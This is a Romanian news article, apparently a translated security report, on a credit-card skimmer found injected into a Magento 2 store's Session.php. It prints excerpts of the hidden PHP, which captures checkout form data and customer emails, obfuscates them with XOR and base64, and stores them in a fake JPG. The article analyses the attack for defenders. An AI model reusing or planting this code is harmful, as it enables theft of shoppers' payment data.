magento 2 skimmerii salveaza in jpg cardurile de credit

Stiri – Magento 2: Skimmerii salvează în JPG cardurile de credit

Actorii răi folosesc adesea tehnici creative pentru a ascunde un comportament rău intenționat și pentru a culege informații sensibile de pe site-urile de comerț electronic .

O investigație recentă pentru un site Web Magento 2 compromis a dezvăluit o injecție rău intenționată care captura date de solicitare POST de la vizitatorii site-ului. Situat pe pagina de plată, s-a observat că codifică datele capturate înainte de a le salva într-un fișier .JPG.

Comportament de injecție rău intenționat

Următorul cod PHP a fost găsit injectat în fișier ./vendor/magento/module-customer/Model/Session.php. Pentru a încărca restul codului rău intenționat în mediul compromis, funcția getAuthenticates este creată și apelată.

...
	public function getAuthenticates($request)
	{
    	if(empty($request->getPostValue('Custom'.'Method')))
        	return $this;
    	$docroot = BP . "/";
    	$sid = $request->getPostValue('Custom'.'Method');
    	if($sid != 'init' && $sid != 'LnByg' && $sid != 'LnByd') return $this;

Codul creează și fișierul imagine (pub / media / tmp / design / file / default_luma_logo.jpg), pe care îl folosește pentru a stoca orice date capturate. Această caracteristică îi permite atacatorului să acceseze și să descarce cu ușurință informațiile furate după bunul plac, ascunzându-le într-un JPG aparent benign.

$docroot = BP . "/";
    	$sid = $request->getPostValue('Custom'.'Method');
    	if($sid != 'init' && $sid != 'LnByg' && $sid != 'LnByd') return $this;
    	$fname = $docroot.'pub/media/tmp/design/file/default_luma_logo.jpg';
    	try {
        	if(!file_exists($fname)){
            	$fhandle = fopen($fname,'w');fclose($fhandle);
        	}
        	$fhandle = fopen($fname,'r');$content = @fread($fhandle,filesize($fname));fclose($fhandle);
...

Recoltarea detaliilor cardului de credit furat

Pentru a captura cu succes datele POST , codul PHP trebuie să utilizeze cadrul de cod Magento. Se bazează pe funcția Magento getPostValue pentru a captura datele paginii de checkout în parametrul Customer_ POST .

Folosind funcția Magento isLoggedIn , codul PHP verifică, de asemenea, dacă victima care a trimis datele solicitării POST este autentificată ca utilizator. Dacă se întâmplă să fie conectat, acesta captează adresa de e-mail a utilizatorului.

if( !empty($request-> getPostValue ('Customer_'))) {
                	$auth_url = "";
                	if($this->isLoggedIn()) {
                    	$auth_url = base64_encode (
                    	$this -> getCustomer() -> getEmail ()
                    	);
                	}

Aceste date POST capturate sunt codificate cu base64 înainte ca operatorul PHP ^ să fie folosit pentru a XOR informațiile furate, salvându-le în același fișier imagine.

$objectdata = $request->getPostValue('Customer_').'#'.base64_encode($ip).'#'.$auth_url;
                	$i = 0; while($i < strlen($objectdata)){
                	$txCH = ord($objectdata[$i]);$txCH ^= 0x3C;$txCH -= $i;$objectdata[$i++] = chr($txCH); }
                	$objectdata = base64_encode($objectdata);
                	if(strpos($content,$objectdata)===false) {
                    	$fhandle = fopen($fname,'a');fwrite($fhandle,$objectdata."n");fclose($fhandle);}
                	return $this;
...

Aproape toate informațiile prezentate de către victimă pe pagina de verificare este stocat în Customer_ parametrul, inclusiv numele complete și adresele, datele cardului de plată, numere de telefon și detalii agent utilizator.

magento 2 skimmerii salveaza in jpg cardurile de credit

Aceste date sunt extrem de valoroase pentru atacator. Nu numai că poate fi utilizat pentru fraudarea cardurilor de credit, ci și pentru spam sau campanii de phishing direcționate.

Pași de concluzie și atenuare

Actorii răi caută întotdeauna noi metode pentru a preveni orice detectare a comportamentului lor rău intenționat pe site-urile web compromise. Utilizarea creativă a falsului .JPG permite unui atacator să ascundă și să stocheze detaliile cardului de credit recoltate pentru o utilizare viitoare, fără a atrage prea multă atenție din partea proprietarului site-ului.

În timp ce această abordare poate face ca infecția să fie detectată inițial, proprietarii site-urilor care implementează servicii de monitorizare a site-ului web sau verificări de control al integrității vor avea mult mai ușor de detectat modificările sau fișierele noi suplimentare din mediul lor.

Sursa: Newsmag